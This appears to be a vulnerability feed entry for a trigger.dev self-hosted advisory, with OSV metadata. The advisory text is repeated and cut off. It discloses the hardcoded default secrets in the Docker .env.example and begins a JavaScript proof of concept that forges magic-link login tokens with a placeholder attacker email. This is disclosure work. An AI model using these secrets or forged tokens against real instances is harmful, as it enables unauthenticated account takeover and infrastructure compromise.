Trigger.dev Self-Hosted Deployment: Default Secrets allow Unauthenticated Infrastructure Compromise
## Summary Self-hosted trigger.dev v4 instances deployed using the provided Docker Compose configuration with default secrets from `hosting/docker/.env.example` are vulnerable to a multi-stage unauthenticated attack chain leading to complete infrastructure compromise. ## Vulnerability Details The `hosting/docker/.env.example` file contains hardcoded cryptographic secrets: ``` SESSION_SECRET=2818143646516f6fffd707b36f334bbb MAGIC_LINK_SECRET=44da78b7bbb0dfe709cf38931d25dcdd ENCRYPTION_KEY=f686147ab967943ebbe9ed3b496e465a MANAGED_WORKER_SECRET=447c29678f9eaf289e9c4b70d3dd8a7f ``` The `MAGIC_LINK_SECRET` is used by `remix-auth-email-link@2.0.2` to create authentication tokens via CryptoJS AES encryption. An attacker who knows this secret can forge valid magic links that authenticate as any email address without email delivery. The `validateSessionMagicLink` option defaults to `false` in the library (never overridden by trigger.dev), so no session-side validation occurs. User accounts are auto-created when `WHITELISTED_EMAILS` is not set (the default for self-hosted). ## Steps to Reproduce ### Setup ```bash cd hosting/docker && cp .env.example .env cd webapp && docker compose up -d cd ../worker && docker compose up -d ``` ### Step 1: Forge magic link token ```javascript const CryptoJS = require('crypto-js'); const secret = '44da78b7bbb0dfe709cf38931d25dcdd'; const payload = JSON.stringify({e: 'attacker@evil.com', c: Date.now()}); const token = encodeURIComponent(CryptoJS.AES.encr
- Products
- trigger.dev
- Affected versions
- Not specified
- Fixed versions
- 4.5.6
- CVEs
- CVE-2026-114087
- Confirmed fixed CVEs
- Not specified
- Updated in this feed
- 31 Oct 2026, 14:08 UTC · Revision 1
Source evidence
Trigger.dev Self-Hosted Deployment: Default Secrets allow Unauthenticated Infrastructure Compromise
core-osv · Original sourcePublished 2 Oct 2026, 22:39 UTC
## Summary Self-hosted trigger.dev v4 instances deployed using the provided Docker Compose configuration with default secrets from `hosting/docker/.env.example` are vulnerable to a multi-stage unauthenticated attack chain leading to complete infrastructure compromise. ## Vulnerability Details The `hosting/docker/.env.example` file contains hardcoded cryptographic secrets: ``` SESSION_SECRET=2818143646516f6fffd707b36f334bbb MAGIC_LINK_SECRET=44da78b7bbb0dfe709cf38931d25dcdd ENCRYPTION_KEY=f686147ab967943ebbe9ed3b496e465a MANAGED_WORKER_SECRET=447c29678f9eaf289e9c4b70d3dd8a7f ``` The `MAGIC_LINK_SECRET` is used by `remix-auth-email-link@2.0.2` to create authentication tokens via CryptoJS AES encryption. An attacker who knows this secret can forge valid magic links that authenticate as any email address without email delivery. The `validateSessionMagicLink` option defaults to `false` in the library (never overridden by trigger.dev), so no session-side validation occurs. User accounts are auto-created when `WHITELISTED_EMAILS` is not set (the default for self-hosted). ## Steps to Reproduce ### Setup ```bash cd hosting/docker && cp .env.example .env cd webapp && docker compose up -d cd ../worker && docker compose up -d ``` ### Step 1: Forge magic link token ```javascript const CryptoJS = require('crypto-js'); const secret = '44da78b7bbb0dfe709cf38931d25dcdd'; const payload = JSON.stringify({e: 'attacker@evil.com', c: Date.now()}); const token = encodeURIComponent(CryptoJS.AES.encr
osv:GHSA-pqxw-g93w-hj9x
trigger.dev
Fixed versions: 4.5.6
Complete source record
{
"id": "99c0c0e3a4420f326e5ff247335d544bf0b0286d246636d45d9783a3daf4354c",
"url": "https://osv.dev/vulnerability/GHSA-pqxw-g93w-hj9x",
"method": "structured",
"payload": {
"kind": "advisory",
"title": "Trigger.dev Self-Hosted Deployment: Default Secrets allow Unauthenticated Infrastructure Compromise",
"summary": "## Summary Self-hosted trigger.dev v4 instances deployed using the provided Docker Compose configuration with default secrets from `hosting/docker/.env.example` are vulnerable to a multi-stage unauthenticated attack chain leading to complete infrastructure compromise. ## Vulnerability Details The `hosting/docker/.env.example` file contains hardcoded cryptographic secrets: ``` SESSION_SECRET=2818143646516f6fffd707b36f334bbb MAGIC_LINK_SECRET=44da78b7bbb0dfe709cf38931d25dcdd ENCRYPTION_KEY=f686147ab967943ebbe9ed3b496e465a MANAGED_WORKER_SECRET=447c29678f9eaf289e9c4b70d3dd8a7f ``` The `MAGIC_LINK_SECRET` is used by `remix-auth-email-link@2.0.2` to create authentication tokens via CryptoJS AES encryption. An attacker who knows this secret can forge valid magic links that authenticate as any email address without email delivery. The `validateSessionMagicLink` option defaults to `false` in the library (never overridden by trigger.dev), so no session-side validation occurs. User accounts are auto-created when `WHITELISTED_EMAILS` is not set (the default for self-hosted). ## Steps to Reproduce ### Setup ```bash cd hosting/docker && cp .env.example .env cd webapp && docker compose up -d cd ../worker && docker compose up -d ``` ### Step 1: Forge magic link token ```javascript const CryptoJS = require('crypto-js'); const secret = '44da78b7bbb0dfe709cf38931d25dcdd'; const payload = JSON.stringify({e: 'attacker@evil.com', c: Date.now()}); const token = encodeURIComponent(CryptoJS.AES.encr",
"evidence": "osv:GHSA-pqxw-g93w-hj9x",
"products": [
{
"name": {
"value": "trigger.dev",
"evidence": "/affected/0/package/name"
},
"prerequisites": [],
"fixed_versions": [
{
"value": "4.5.6",
"evidence": "/affected/0/ranges"
}
],
"affected_versions": []
}
],
"severity": "high",
"structured": {
"id": "GHSA-pqxw-g93w-hj9x",
"aliases": [
"CVE-2026-114087",
"GHSA-pqxw-g93w-hj9x"
],
"metrics": [
{
"type": "CVSS_V4",
"score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P"
}
],
"affected": [
{
"ranges": [
{
"type": "SEMVER",
"events": [
{
"introduced": "0"
},
{
"fixed": "4.5.6"
}
]
}
],
"package": {
"name": "trigger.dev",
"purl": "pkg:npm/trigger.dev",
"ecosystem": "npm"
},
"database_specific": {
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-pqxw-g93w-hj9x/GHSA-pqxw-g93w-hj9x.json",
"last_known_affected_version_range": "<= 4.5.5"
}
}
],
"modified": "2026-10-21T10:57:23.177909316Z",
"provider": "osv",
"references": [
"https://github.com/triggerdotdev/trigger.dev/security/advisories/GHSA-pqxw-g93w-hj9x",
"https://github.com/triggerdotdev/trigger.dev/pull/4316",
"https://github.com/triggerdotdev/trigger.dev/commit/6997aeb05e27d2db47f9eda01fdc8a17c81a1ae0",
"https://github.com/triggerdotdev/trigger.dev",
"https://github.com/triggerdotdev/trigger.dev/releases/tag/v4.5.6"
],
"provider_metadata": {
"cwe_ids": [
"CWE-1393",
"CWE-653"
],
"severity": "HIGH",
"github_reviewed": true,
"nvd_published_at": null,
"github_reviewed_at": "2026-10-02T22:39:48Z"
}
},
"related_cves": [
{
"value": "CVE-2026-114087",
"evidence": "/aliases"
}
],
"security_relevant": true,
"severity_evidence": "/database_specific/severity"
},
"source_id": "core-osv",
"document_id": 392977,
"published_at": "2026-10-02T22:39:48+00:00"
}